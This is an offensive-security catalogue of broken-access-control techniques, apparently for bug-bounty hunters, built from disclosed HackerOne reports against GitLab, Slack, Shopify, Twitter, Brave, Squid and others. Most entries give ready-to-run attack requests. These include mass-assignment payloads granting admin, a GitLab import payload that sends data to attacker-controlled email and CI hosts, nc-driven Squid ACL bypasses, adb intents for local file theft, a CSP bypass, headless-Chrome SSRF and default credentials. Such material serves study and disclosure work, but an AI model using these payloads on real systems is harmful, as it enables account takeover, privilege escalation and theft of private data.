Two axes describe almost every finding. Vertical escalation reaches a higher privilege than you hold (a member calling an admin-only endpoint — BFLA, broken function-level authorization). Horizontal escalation reaches a peer's objects at your own privilege level (reading someone else's invoice by its ID — IDOR/BOLA, broken object-level authorization). The remaining variants — mass assignment, multi-step/TOCTOU gaps, verb/path tampering, tenant crossing, and trust-boundary abuse — are just the specific mechanisms by which one of those two checks goes missing.
# Autorize-style A-B-A at scale: replay admin-captured requests with B's cookie
ffuf -w admin-endpoints.txt -u https://TARGET/api/FUZZ \
-H "Cookie: session=<LOWPRIV_B>" -mc 200,201,204
Identify which check is missing, then drive the matching request.
# Builder/editor role hitting an admin-only resource — server never checks the role
GET /api/w/WORKSPACE/dust_app_secrets HTTP/1.1
Host: TARGET
Cookie: session=<LOWPRIV>
# then upsert-by-name to overwrite an existing secret's value
POST /api/w/WORKSPACE/dust_app_secrets HTTP/1.1
Host: TARGET
Cookie: session=<LOWPRIV>
Content-Type: application/json
{"name":"EXISTING_NAME","value":"attacker-value"}
Same privilege, someone else's object. Keep your session, iterate the ID. GUIDs are not a control — they leak in earlier responses, exports, and shared links, and persisted/GraphQL operations frequently drop the ownership check entirely.
# Your token, a peer's resource id — object comes back if BOLA
GET /api/orgs/NOT-MINE/members HTTP/1.1
Host: TARGET
Cookie: session=<YOURS>
The server binds attacker-supplied fields straight onto the model. Add the privileged key the UI never shows — role, is_admin, verified, template, permissions, owner_id — to a request you are allowed to make.
# Set a privileged field on your own object during an allowed update
PATCH /api/users/me HTTP/1.1
Host: TARGET
Cookie: session=<YOURS>
Content-Type: application/json
{"role":"admin","email_verified":true}
Authorization enforced at step 1 but not re-checked at step N, or checked on the request but not in the async worker that acts on it later. Reach the later step directly, or race the check against the use.
# Skip straight to the state-changing final step with only a step-1 token
POST /api/checkout/finalize HTTP/1.1
Host: TARGET
Cookie: session=<STEP1_TOKEN>
Content-Type: application/json
{"order_id":"OTHER_PARTY_ORDER","status":"accept"}
# Delete-only endpoint that also accepts an unchecked PATCH -> edit primitive
PATCH /identity/resources/tenants/api-tokens/v1/API_KEY_ID HTTP/1.1
Host: TARGET
Cookie: session=<YOURS>
Content-Type: application/json
{"roleIds":["<IMPERSONATOR_ROLE_ID>"]}
# Path/case/version/override tricks against a blocked admin route
curl -s https://TARGET/admin/users/ # trailing slash
curl -s https://TARGET/Admin/users # case
curl -s https://TARGET/api/v1/admin/users # old version lacking new authz
curl -s https://TARGET/admin/users -H "X-HTTP-Method-Override: PUT"
Server-to-server, provisioning, and feature-negotiation surfaces (webhooks, OCM/SCIM, capability manifests) are often authenticated only by a token the caller already holds, and they trust attacker-supplied permission fields. If the permission is declared by the artifact or the caller, assume the attacker controls it and test whether the runtime re-checks.
# Anonymous federation callback trusts an attacker-set permission array
POST /index.php/ocm/notifications HTTP/1.1
Host: TARGET
Content-Type: application/json
{"notificationType":"RESHARE_CHANGE_PERMISSION","resourceType":"file",
"providerId":2,"notification":{"sharedSecret":"<TOKEN_YOU_HOLD>",
"permission":["read","write","share"]}}
A "disabled" feature toggle usually only hides the button — the controller stays routable. Request the underlying endpoint directly (#2376929).
When a write succeeds where the matching read is blocked, the object often resurfaces in a place you can read: a GDPR/data-export archive, a notification, an email digest, an activity log. A broken authz check on a write action plus an export side channel equals a private-data read (#1694304).
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 494 in this class.
Real-world example
Admin-only service templates injected via project import
◆ Critical
Specimen #446585 · gitlab · 11000 · 758 votes · resolved
Program gitlabSurface webChain import -> instance-wide service template -> mass exfilTag file-upload
Root cause
The project-import parser trusts the exported project.json and lets a normal user set template:true on services and add custom_attributes — both operations are supposed to be instance-admin-only. Templated services are auto-installed on every project created afterwards.
Method
- Create/export a project, extract project.json
- Flip "template":false to true and set a service type (EmailsOnPush, HipChat/Slack, MockCiService)
- Re-tar and import
- Any project created later silently installs the attacker's service, exfiltrating commits/issues/MRs to attacker recipient or a hidden CI URL
# in services[] of project.json
"template": true,
"type": "EmailsOnPushService",
"properties": { "recipients": "attacker@domain.tld", "disable_diffs": false }
# MockCiService gives a service invisible in the UI:
"type": "MockCiService",
"properties": { "mock_service_url": "https://attacker_host/" }
Insight — Import/restore features are a privilege-escalation goldmine: the serialized blob usually carries fields (owner_id, template, admin flags, custom_attributes) the normal UI never exposes. Diff an export, flip every boolean/privilege field, and re-import.
Real-world example
Custom project-template import bypasses per-feature project ACLs (mass copy of private data)
◆ Critical
Specimen #689314 · gitlab · 12000 · 455 votes · resolved
Program gitlabSurface webChain guard skipped (user namespace) -> template finder ignoresTag account-takeover
Root cause
An authorization guard returned early for user-namespace projects (return unless project.group), so the use_custom_template / group_with_project_templates_id params survived; the template finder used the user's visible-projects collection without checking per-feature access, and the async export worker never re-checked authorization. Combined, any public project with restricted repo/issues/MR visibility could be exported into the attacker's project.
Method
- Victim: create a public project in a group whose Repository/Issues/MR/Snippets are set to 'Only Project Members'.
- Attacker: POST /projects to create a project in your OWN (user) namespace so the group validation is skipped.
- Set project[use_custom_template]=true, project[template_name]=<victim project name>, project[group_with_project_templates_id]=<victim group id>.
- Wait for the async export/import job to run; the private repo, confidential issues, MRs, snippets, CI config get copied into your new project.
POST /projects HTTP/1.1
Host: gitlab
...multipart...
name="project[use_custom_template]"
true
name="project[template_name]"
test_project
name="project[group_with_project_templates_id]"
1
name="project[namespace_id]"
<your_user_namespace_id>
name="project[name]"
pwn
Insight — Early-return authorization guards keyed on one code path (group projects) are bypassable by driving the feature through the other path (user namespace). Also: 'projects the user can see' != 'features the user may read' - finders that gate on visibility but not per-feature access leak restricted data, and async workers must re-authorize (TOCTOU).
Real-world example
Browser-extension postMessage command -> blind credentialed XHR to any origin
◆ Critical
Specimen #389108 · superhuman · awarded · 201 votes · resolved
Program superhumanSurface webTag account-takeover
Root cause
The Grammarly content script accepted window.postMessage commands and relayed a 'tracking'/_fetch command to the privileged background page, which performed cross-origin XHR carrying the victim's cookies from the extension origin - a page-triggered SSRF/CSRF-with-cookies primitive.
Method
- From a crafted page, initiate the extension popup (isTrusted gesture) to open the background channel
- postMessage a grammarly command targeting the fetch/tracking handler
- Background page issues the credentialed cross-origin request on your behalf
window.postMessage({grammarly:true, /* action: tracking/_fetch with attacker url + params */}, '*')
Insight — Browser extensions are a privileged origin reachable via postMessage/content-script bridges; audit every message handler for command types that fetch/XHR/WebSocket to attacker-controlled URLs with the user's cookies.
Real-world example
Password-protected store bypass via unauthenticated preview link
◆ Critical
Specimen #421859 · shopify · awarded · 192 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A theme preview link is generated without authentication and is not subject to the store's password protection. The link is exposed in /preview_bar source, so anyone can retrieve it and view protected store content.
Method
- Find a password-protected Shopify store
- Request /preview_bar and read the source
- Extract the shopifypreview.com URL
- Visit it to view store content, bypassing the password
GET https://<shop>.myshopify.com/preview_bar
# grep response for a shopifypreview.com URL, then open it
Insight — 'Preview'/'share'/'draft' features often bypass primary access controls and expose their unguessable links in secondary endpoints (preview bars, embedded JSON, sitemap). When a resource is gated, hunt for an alternate preview/render path that is not gated.
Real-world example
Join arbitrary workspace by swapping team ID in createUser invite flow
◆ Critical
Specimen #1716016 · slack · awarded · 107 votes · resolved
Program slackSurface apiChain invite OTP -> team ID swap in createUser -> unauthorizTag account-takeover
Root cause
Replaying the api/signup.createUser request while replacing the team ID with an arbitrary team ID (taken from a one-time-password workspace-invitation email) let an attacker join a different workspace than the one they were invited to - for any workspace that did not require admin approval for invites.
Method
- Obtain a legitimate workspace invitation / OTP email (which references a team ID)
- Begin signup and intercept the POST api/signup.createUser
- Replace the team ID parameter with the target workspace's team ID
- Complete signup to become a member of the target workspace (only where admin approval isn't required)
POST /api/signup.createUser HTTP/1.1
Host: slack.com
... team=<ARBITRARY_TEAM_ID> ... # swapped from the invited team
Insight — Invitation/onboarding endpoints that trust a client-supplied tenant/team/org ID are IDOR-to-tenant-access. When an invite ties you to workspace A, test swapping the workspace/team identifier to B; membership is often keyed on the request value, not the invite token's bound tenant.
Real-world example
Exported WebView activity accepts file:// and javascript:// intent URIs
◆ Critical
Specimen #499348 · x · awarded · 93 votes · resolved
Program xSurface mobile-androidChain Exported WebView -> local file read / UXSS -> session Tag account-takeover
Root cause
com.twitter.android.lite.TwitterLiteActivity is exported and loads the intent data URI into its WebView without scheme validation, so any app can force it to load local files, execute JavaScript, or open arbitrary URLs.
Method
- Confirm the target WebView activity is exported
- Send an explicit intent with a file:// URI to read local app files
- Send a javascript: URI to inject script into the WebView context (UXSS/token theft)
- Send an http(s) URI to demonstrate open redirect
adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "file:///sdcard/BugBounty/1.html"\nadb shell am start -n ...TwitterLiteActivity -d "javascript://example.com%0A alert(1);"\nadb shell am start -n ...TwitterLiteActivity -d "http://evilzone.org"
Insight — For exported WebView activities, test file://, javascript:, and content:// data URIs. If WebView setAllowFileAccess/JavaScript are on and the loaded URL is intent-controlled, a co-installed app can steal local files/session tokens via UXSS.
Real-world example
Unauthenticated admin panel with auto-assigned sysadmin session
◆ Critical
Specimen #2190808 · deptofdefense · none · 86 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
An ASP.NET Administration page grants any visitor a system-administrator session automatically, with no authentication, exposing full user/file management.
Method
- Browse directly to the /Administration/Administration.aspx page
- Observe you are already logged in as a named sys-admin user
- Confirm state-changing admin functions (add/delete users, change perms, upload files) are available
GET /Administration/Administration.aspx # returns an authenticated sys-admin context to any visitor
Insight — Always forced-browse to /admin, /Administration, management .aspx/.jsp pages. Some legacy apps auto-bind a privileged service/default account to unauthenticated sessions - the impact is full admin without any bypass step.
Real-world example
Hidden self-registration endpoint on admin portal
◆ Critical
Specimen #2801787 · mtn_group · none · 80 votes · resolved
Program mtn_groupSurface webChain Hidden registration -> admin dashboard -> alter merchaTag account-takeover
Root cause
An admin portal shows no register option in the UI but exposes a working registration endpoint. Self-registering yields an approved admin dashboard with full CRUD over merchants, cashiers, stations and supervisors (including changing merchant payout account numbers).
Method
- Discover the admin portal's registration endpoint (not linked in UI)
- Sign up to create an admin account
- Log in -> redirected to the admin dashboard
- Enumerate admin URLs to edit/delete merchants, change their bank account numbers, read supervisor passcodes
POST /<admin-portal>/register {"email":"attacker@...","password":"..."} // no UI link but endpoint live and auto-approves admin
Insight — Absence of a UI control does not mean the endpoint is disabled. Fuzz/guess register, signup, create-user routes on admin subdomains/portals; unlinked-but-live self-registration frequently yields privileged accounts. Then walk admin URLs for financial-data tampering.
Real-world example
Authorization derived from attacker-controlled message field, not authenticated context
◆ Critical
Specimen #2976481 · cosmos · awarded · 80 votes · resolved
Program cosmosSurface otherTag account-takeover
Root cause
Cosmos SDK lockup account SendCoins checks that msg.Sender == owner, but when the message is wrapped in MsgExecute the real signer is placed in ctx while msg.Sender is never validated. The lockup handler trusts msg.Sender (attacker-set), unlike multisig which reads the sender from ctx, letting an attacker move unlocked funds from an account they don't own.
Method
- Create a periodic-locking-account for the victim; wait for the lock period to end
- Craft the transfer message setting msg.Sender to the victim (owner)
- Wrap it in MsgExecute and submit signed by the attacker
- checkSender passes (msg.Sender==owner) though the tx signer is the attacker; funds move to attacker
// lockup.go SendCoins/checkSender uses msg.Sender (from message) instead of ctx signer\nMsgExecute{ sender: <attacker>, msg: LockupSend{ sender: <VICTIM_owner>, to: <attacker>, amount: <unlocked> } }
Insight — Whenever authorization compares an identity taken from the request/message payload rather than the authenticated/verified caller (ctx, session, signer), it's forgeable. Diff how sibling handlers derive 'sender' - inconsistency (message vs context) is the bug. Applies to smart-contract, RPC, and API auth.
Real-world example
Android FileProvider root-path exposes all internal files
◆ Critical
Specimen #876192 · brave · USD 500 · 78 votes · resolved
Program braveSurface mobile-androidChain content-provider path traversal -> cookies DB exfil ->Tag account-takeover
Root cause
Brave's ChromeFileProvider declares <root-path name="root" path="."/>, so a content:// URI under /root/ resolves any absolute internal path; the app itself owns the URI (no permission grant needed) and downloads the file to public /sdcard/Download, where any STORAGE app reads it.
Method
- Malicious app (STORAGE perm) sends a VIEW intent for the crafted content URI
- Brave resolves it via root-path, treats it as its own file, downloads to /sdcard/Download
- PoC watches Downloads, reads the exfiltrated Cookies DB
content://com.brave.browser.FileProvider/root/data/data/com.brave.browser/app_chrome/Default/Cookies
Insight — Audit exported FileProviders for root-path or overly broad path='.' entries. /root/<absolute-path> then reaches any internal file (cookies, tokens). Fix: never map root-path to '.'; use scoped paths + validation.
Real-world example
Bypass IDOR/authorization protection by changing the HTTP method
◆ Critical
Specimen #2456603 · ibm · none · 56 votes · resolved
Program ibmSurface web
Root cause
Authorization on an object endpoint is enforced for one HTTP verb but not others; switching the method (e.g. GET->POST/PUT, or an unexpected verb) reaches the same handler with the access check absent, restoring the IDOR.
Method
- Identify an object endpoint whose IDOR appears fixed/blocked for the normal method
- Replay the same object reference using a different HTTP method
- Access-control check is not applied on the alternate verb; the IDOR succeeds
# Blocked: GET /learning/resource/<VICTIM_ID> (403)
# Bypass: POST /learning/resource/<VICTIM_ID> (or PUT/PATCH) -> succeeds
Insight — When an IDOR seems patched, re-test with every HTTP verb (GET/POST/PUT/PATCH/DELETE/HEAD) and with method-override headers (X-HTTP-Method-Override). Framework routing often maps multiple verbs to one handler while the authorization filter is registered on only one. Use Burp Match&Replace to flip the verb across a session.
Real-world example
Exposed CI/CD login page that authenticates on click
◆ Critical
Specimen #311289 · gsa_bbp · 2000 · 49 votes · resolved
Program gsa_bbpSurface webChain search-engine recon -> unauth CI console -> deploy cre
Root cause
A production CI/CD build-results interface was reachable via a public search-engine dork and presented a login page whose 'log in' button performed no actual authentication, exposing deploy credentials.
Method
- Dork the target scope: inurl:target.tld to surface CI/CD build URLs
- Open the build-results page; a login form appears
- Click 'log in' without credentials
- Land in the authenticated CI/CD console; harvest deployment credentials
Google/Bing: inurl:example.gov (surface CI/CD build result pages)
Insight — Recon-driven: index-leaked CI/CD, dashboards and build pages often front a login that is decorative only. Always click through the login control unauthenticated and diff the result.
Real-world example
Execution After Redirect (EAR): admin content served with a 302
◆ Critical
Specimen #1394910 · deptofdefense · none · 47 votes · resolved
Program deptofdefenseSurface webChain EAR admin page disclosure -> unauthenticated file upload/Tag file-upload
Root cause
An admin panel issued a 302 redirect to a login page but continued rendering and returning the full admin HTML (and the admin actions remained callable) because the server did not terminate execution after redirecting.
Method
- Access the protected page; note a 302 with a Location header but a large body
- Read the 302 response body - it contains the full admin page and links
- Intercept and rewrite the response 302 Found -> 200 OK to render it in-browser
- Call the discovered admin action endpoints directly (no session cookie needed), e.g. unauthenticated file upload
# In Burp, Match&Replace on the response:
# HTTP/1.1 302 Found -> HTTP/1.1 200 OK
# Then call actions directly, e.g.:
POST /elist/s3html.php (multipart file upload, no Cookie header)
Insight — A 302 with a non-empty body is the tell for EAR. Always inspect redirect response bodies and try forcing 302->200. If the guarded content is present, the underlying action endpoints usually run without auth too.
Real-world example
Forced-browse to unauthenticated admin user-creation (APEX page-number tampering)
◆ Critical
Specimen #2354136 · deptofdefense · none · 47 votes · resolved
Program deptofdefenseSurface webChain forced browse -> unauth admin add-user -> self-provisiTag account-takeover
Root cause
Directory/parameter brute forcing revealed an admin function (Add New User / change privileges) served without any authentication. In an Oracle-APEX-style app the page is selected by a numeric segment in the URL, and changing that number navigates straight to privileged pages.
Method
- Directory/forced-browse the app; find the admin area URL (APEX f?p style, e.g. :1:0:::::).
- Change the page number (1 -> 9) or hit the admin URL directly; no login is enforced.
- Use 'Add New User' to create an Admin account; credentials are emailed -> log in as admin.
# Oracle APEX page addressing: f?p=APP:PAGE:SESSION:::::
# swap PAGE number to reach unauthenticated admin pages, e.g.
GET /apex/f?p=100:9:0::::: HTTP/1.1
Insight — Forced browsing still finds unauthenticated admin panels. In APEX/portal apps the page is a number in the URL, so fuzz that segment. Never assume server-side authz guards a page just because the UI hides the link.
Real-world example
Default credentials on an admin panel
◆ Critical
Specimen #1297480 · mtn_group · none · 42 votes · resolved
Program mtn_groupSurface webTag account-takeover
Root cause
A login-gated admin app ships with unchanged default credentials (admin/admin), granting full admin access to anyone.
Method
- Reach the login page of the gated app.
- Try vendor default creds (admin/admin and product-specific defaults).
Username: admin
Password: admin
Insight — Any login wall is worth a quick default-credential check. Identify the product/vendor first, then try its documented defaults; login-required does not mean access-controlled.
Real-world example
Oracle APEX auto-login: unauthenticated visitor lands as admin
◆ Critical
Specimen #1991214 · deptofdefense · none · 31 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
An Oracle APEX application is configured with an auto-login authentication scheme, so simply visiting an f?p= URL signs the visitor into a pre-authenticated administrative account ('auto log user') with full management rights.
Method
- Browse to the APEX app URL: https://target.mil/apexcrrel/f?p=150:1:<session>::NO:::
- Observe you are signed in as 'ben auto log user' (administrator) shown top-right
- Access admin functions: view all submissions, manage/add users, assign admin role, publish/remove data
https://TARGET/apexcrrel/f?p=150:1:23467499301323::NO:::
Insight — Oracle APEX (f?p=app:page:session) apps sometimes ship with an auto-login/public authentication scheme mapped to a privileged workspace user. Probe f?p= endpoints and check the authenticated user indicator without providing credentials.
Real-world example
Android Intent redirection: exported activity forwards attacker Intent to protected components
◆ Critical
Specimen #200427 · slack · awarded · 31 votes · resolved
Program slackSurface mobile-androidChain malicious app -> exported activity -> internal WebViewTag account-takeover
Root cause
An exported activity reads a nested Intent from its extras (extra_deep_link_intent) and calls startActivity() on it, so any unprivileged app on the device can reach non-exported/protected activities (confused deputy) and pass them arbitrary extras.
Method
- Identify an exported activity that extracts a Parcelable Intent from getIntent() and startActivity()s it
- Build an inner Intent targeting a non-exported activity (WebViewActivity/CallActivity) with chosen extras
- Wrap it as extra_deep_link_intent inside an Intent to the exported HomeActivity and launch
Intent next = new Intent();
next.setClassName("com.Slack", "com.Slack.ui.WebViewActivity");
next.putExtra("extra_url", "javascript:alert(1)");
next.putExtra("extra_title", "test");
Intent start = new Intent();
start.setClassName("com.Slack", "com.Slack.ui.HomeActivity");
start.putExtra("extra_deep_link_intent", next);
startActivity(start);
Insight — When decompiling an Android app, grep exported components for getParcelableExtra(...Intent) piped into startActivity/startService/sendBroadcast. That pattern lets a malicious app invoke internal components -> load arbitrary URLs in app WebView (javascript: XSS/phishing), spoof UI, or trigger privileged actions.
Real-world example
Hidden client-side signup form re-enabled to self-provision internal access
◆ Critical
Specimen #1061664 · khanacademy · none · 28 votes · resolved
Program khanacademySurface web
Root cause
An internal Alerta dashboard's signup/login forms were merely hidden client-side (AngularJS ng-hide); removing the class exposed a working signup that accepted @khanacademy.org emails and required no email confirmation, granting access to sensitive monitoring data.
Method
- Browse to the internal tool's /#/signup route
- In DevTools, remove the ng-hide class (or display:none) on the hidden form
- Register with an <anything>@khanacademy.org address
- Log in with no email confirmation and access sensitive dashboards
// DevTools: delete class ng-hide on the signup <form>
// register anything@khanacademy.org, no email verify required
Insight — UI elements hidden by CSS/ng-hide/display:none are still fully functional; the server is the only real gate. When you see a hidden signup/admin form, unhide and submit it. Domain-based trust (@company.org) with no email verification is a common self-provisioning path.
Real-world example
Squid URN request bypasses ACLs -> SSRF (CVE-2019-12523)
◆ Critical
Specimen #824802 · ibb · awarded · 23 votes · resolved
Program ibbSurface networkChain ACL bypass -> SSRF to localhost / cache-manager info leak
Root cause
Squid parses a urn: request minimally then transforms it into a fresh internal HTTP request that is dispatched via FwdState::Start without passing clientAccessChecks/doCallouts, so http_access ACLs (e.g. deny to_localhost) are never applied.
Method
- Ensure Safe_ports allows port 0 (urn) and to_localhost is denied
- Send a urn:: request naming an internal host
- Squid rebuilds it as http://host/uri-res/N2L?urn:... and forwards without ACL checks
- Read reflected lines containing ':' (<4096 bytes); with Via disabled, reach squid-internal-mgr
echo -e "GET urn::@127.0.0.1:8080/hello.html? HTTP/1.1\r\n\r\n" | nc <squid-host> 3128
# cache manager (if Via header disabled):
GET urn::@localhost:3128/squid-internal-mgr/active_requests? HTTP/1.1
Insight — When a proxy/gateway rewrites one URI scheme into another request internally, the rewritten request often skips the ACL/authorization pipeline - test alternate schemes (urn:, gopher:, dict:) to reach ACL-blocked internal targets.
Real-world example
Squid cache-manager ACL bypass via double URL-decode
◆ Critical
Specimen #824203 · ibb · awarded · 22 votes · resolved
Program ibbSurface networkChain ACL bypass -> cache manager -> in-memory addresses -&g
Root cause
Squid checks the cache-manager url_regex ACL against a URL that gets rfc1738-unescaped an extra time (userinfo is decoded during parse, then the ACL matcher decodes again). A double-encoded slash in the userinfo makes the ACL regex miss while the internal manager path still matches (CVE-2019-12524).
Method
- Target a Squid <=4.7 proxy on :3128
- Craft an https URL with encoded userinfo: jeriko.one%252f@<host>
- Request a squid-internal-mgr path so it is flagged internal but the manager url_regex ACL fails to match after double-decode
- Read active_requests / other mgr pages (leaks clients, usernames, in-memory object addresses -> ASLR break)
echo -e "GET https://jeriko.one%252f@<host>:3128/squid-internal-mgr/active_requests HTTP/1.1\r\n\r\n" | nc <host> 3128
Insight — When an ACL is enforced by regex on a URL that is decoded a different number of times than the routing/dispatch code, encode a delimiter (%252f = double-encoded /) to desync them. Classic parser-differential authorization bypass.
Real-world example
Chain: email-validation ATO -> CSP bypass -> IDOR -> PDF SSRF -> headless Chrome debug port
◆ Critical
Specimen #781253 · h1-ctf · none · 17 votes · resolved
Program h1-ctfSurface webChain email-validation ATO -> CSP bypass XSS -> IDOR name edTag account-takeover
Root cause
Multiple composable primitives: registration email validation strips symbols only after the recovery code is generated (account takeover), a strict CSP script-src is bypassable because the allowlisted GitHub path can be extended to an attacker repo, an IDOR on a name field injects HTML into a server-rendered PDF, and the PDF renderer (headless Chrome) exposes an SSRF into its own DevTools debug port.
Method
- Register jobert@mydocz.cosmic<>{} ; recovery QR resolves to jobert@mydocz.cosmic -> takeover
- Bypass CSP by appending an attacker repo to the allowlisted github.com/mattboldt/typed.js path (remove /blob/); run JS to exfil the reviewer URL
- Use IDOR on the reviewer name field to inject HTML that renders into the generated PDF
- From the PDF's headless-Chrome renderer, iframe http://localhost:9222/json to read the DevTools targets and the secret document path
CSP bypass script src:
https://github.com/mattboldt/typed.js/master/lib/@https://github.com/attacker/repo/master/x.js
SSRF into headless Chrome DevTools:
<iframe src='http://localhost:9222/json' width=900 height=900></iframe>
Insight — Allowlisted script origins that let you append a path (raw GitHub) are CSP bypasses. Server-side HTML/PDF/screenshot renderers are SSRF surfaces; a headless Chrome renderer commonly exposes remote debugging on 127.0.0.1:9222 - /json lists inspectable pages and the ws debugger URL for full control.
Real-world example
Nagios dashboard with default credentials
◆ Critical
Specimen #1700896 · gsa_vdp · none · 16 votes · resolved
Program gsa_vdpSurface web
Root cause
Monitoring appliance (Nagios) left on default vendor credentials, giving anyone full admin control of the panel.
Method
- Recon subdomains/IPs for management panels (Nagios path /nagios/side.php)
- Hit the HTTP Basic auth prompt
- Log in with nagiosadmin:nagiosadmin
# Basic-auth default creds:
username: nagiosadmin
password: nagiosadmin
# URLs:
https://TARGET/nagios/side.php
Insight — During recon, fingerprint monitoring/admin appliances (Nagios, Grafana, Kibana, Jenkins) and always try documented default credentials before anything else. Default-cred admin access on infra tooling is frequently critical.
Real-world example
Ignore/blacklist bypass via URL-encoding mismatch (raw check vs decoded serve)
◆ Critical
Specimen #308721 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface webTag path-traversal
Root cause
The static-file server checks the ignore list against the raw (still URL-encoded) pathname, but serves the file using a URL-decoded path; encoding one character (e -> %65) makes the blacklist check miss while the file still resolves.
Method
- Identify a deny/ignore rule protecting a file or directory (returns 404 to the plain name).
- URL-encode any single character in the name (e.g. test.txt -> t%65st.txt).
- The encoded request bypasses the raw-string blacklist and the decoded path serves the file / directory listing.
curl http://localhost:1337/test.txt # Not Found (ignored)
curl http://localhost:1337/t%65st.txt # served
curl http://localhost:1337/t%65stfolder/ # directory listing of ignored folder
Insight — Any time a security check runs on a raw string but the enforcement/handler normalizes (URL-decode, unicode NFC, case-fold, trailing dot/slash) there is a bypass. Fuzz protected paths with %65-style encoding, double-encoding, case changes, and ./ segments. CVE-2018-3718.
Real-world example
Execution After Redirect (EAR) exposes admin panel
◆ Critical
Specimen #1397564 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
The app returns a 302 redirect to unauthorized users but still renders the full admin panel HTML in the redirect response body; the access check redirects but does not stop execution.
Method
- Request the protected admin endpoint as an unauthenticated/unauthorized user
- Note the 302 Location but an unusually long body (Content-Length large)
- Intercept in Burp and rewrite status 302 Found -> 200 OK to render the admin panel and use its functions
# Burp: match response status
302 Found -> 200 OK
# body of the 302 already contains the admin panel + admin function links
Insight — When a 302 carries a large body, you likely have Execution-After-Redirect: the server redirects but keeps rendering protected content. Rewrite the status to 200 (or just read the redirect body) to bypass the gate. Watch Content-Length on redirects.
Real-world example
Unauth SOAP admin takeover via WSDL methods + Trust-header strip
◆ Critical
Specimen #1026146 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface webChain public WSDL -> GetAdministratorList (unauth) -> GetAccTag account-takeover
Root cause
A SOAP web service (Questionmark QMWISe) exposes its WSDL publicly and only gates methods behind a SOAP 'Trust' header that is applied inconsistently; stripping the header bypasses the check, and privileged methods return admin data and a passwordless login URL.
Method
- Fetch the public WSDL/service description to enumerate methods
- Call GetAdministratorList with the SOAP Trust/security header removed to dump admin accounts
- Feed an admin name to GetAccessAdministrator to get a passwordless Enterprise Manager login URL
- Log in as admin
POST /<endpoint> HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://questionmark.com/QMWISe/GetAdministratorList"
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><GetAdministratorList xmlns="http://questionmark.com/QMWISe/"/></soap:Body>
</soap:Envelope>
# then GetAccessAdministrator with the admin name -> returns passwordless login URL
Insight — For SOAP/legacy services: pull the WSDL, enumerate methods, and test whether the auth header is actually enforced or can simply be omitted. 'Get...List' + 'GetAccess...' method pairs that return login URLs are a direct unauth-to-admin path.
Real-world example
Missing auth middleware + Referer-trusted admin flag → self-promote to admin
◆ Critical
Specimen #343626 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface webChain unprotected route → forged Referer admin flag → attacker-creTag account-takeover
Root cause
expressCart's /admin/user/insert route is not behind the common.restrict admin middleware and decides admin status from the request's Referer header (urlParts.path === '/admin/setup'). A normal authenticated user creates a new user, and by forging the Referer, marks that user as admin.
Method
- Confirm a state-changing admin route lacks the auth middleware other admin routes use
- Send the create-user request with a normal user session
- Set Referer to the value the server uses to grant admin (/admin/setup)
- New user is created as admin → full app takeover
POST /admin/user/insert HTTP/1.1
Host: TARGET
Referer: http://TARGET/admin/setup
Content-Type: application/x-www-form-urlencoded
Cookie: connect.sid=[NORMAL_USER_COOKIE]
usersName=NEWADMIN&userEmail=new@admin.com&userPassword=password&frm_userPassword_confirm=password
Insight — Two classic sinks in one: (1) enumerate routes not covered by the auth/restrict middleware, and (2) never trust client-controlled headers (Referer/Origin/X-Forwarded-*) for authorization decisions. A privilege flag derived from Referer is attacker-controlled.
Real-world example
Multi-stage chain: cookie-driven path-traversal SSRF + redirect-whitelist pivot + PHP template[] merge + CSS-injection 2FA exfil
◆ Critical
Specimen #895778 · h1-ctf · none · 10 votes · resolved
Program h1-ctfSurface webChain git/log cred leak -> 2FA replay -> cookie path-travers
Root cause
A CTF, but the primitives are production-transferable: an account_id from the session cookie is interpolated into a server-side API URL path (SSRF via path traversal); a whitelist redirect endpoint is chained to reach an IP-restricted host; a PHP backend renders template[]=login&template[]=ticket as an array concatenating both templates; and a stylesheet-injection sink exfiltrates per-character 2FA inputs via CSS attribute selectors.
Method
- Expose creds via /.git/config -> GitHub repo -> logger writes plaintext creds to /bp_web_trace.log; reuse old challenge/challenge_answer (challenge=md5(answer)) to bypass 2FA
- Tamper account_id in base64 JSON cookie: ../../redirect?url=https://software.host/# to turn the server-side statements fetch into SSRF + path traversal
- Chain the api /redirect?url= whitelist (other subdomains allowed) to reach the public-IP-restricted software host and browse /uploads
- Escalate staff->admin: set avatar (used as a CSS class) to 'upgradeToAdmin tab4' and report a page so admin's loose jQuery selectors fire the upgrade; force correct username via template[]=login&username=...&template[]=ticket array merge
- Exfiltrate the final Headless-Chrome 2FA code via injected <link> stylesheet using one attribute selector per code input
# SSRF via cookie account_id path traversal + redirect whitelist pivot
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"..."}
# PHP array template merge to render two templates in one response
/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4
Insight — Treat every ID inside a cookie/JWT as an injection point into server-side request paths. When a whitelist redirect exists, use it as an SSRF relay to internal hosts. In PHP, param[]=a¶m[]=b coerces arrays that break single-value assumptions. CSS attribute selectors exfil data char-by-char when you control an embedded stylesheet.
Real-world example
Auth bypass via reverse-proxy URL params + path traversal to admin panel
◆ Critical
Specimen #428757 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webChain auth bypass -> admin panel -> AR System report consoleTag account-takeover
Root cause
A BMC Remedy AR System login gateway routes on user-controlled x-app/x-urlpath/x-redir query params; a path-traversal in x-urlpath followed by clicking login drops the requester into an authenticated admin session (mid-tier fails open when the traversal errors).
Method
- Load the login gateway URL with x-app=itsm and a legitimate x-urlpath/x-redir
- Replace x-urlpath with a traversal payload (../../../../../../../../passwd)
- When the LFI/traversal errors, click Login
- Land in the full admin panel; pivot to AR System report console to dump PII
GET /?x-app=itsm&x-urlpath=../../../../../../../../passwd&x-redir=%2Farsys%2F... HTTP/1.1
(then click 'login' when the path errors)
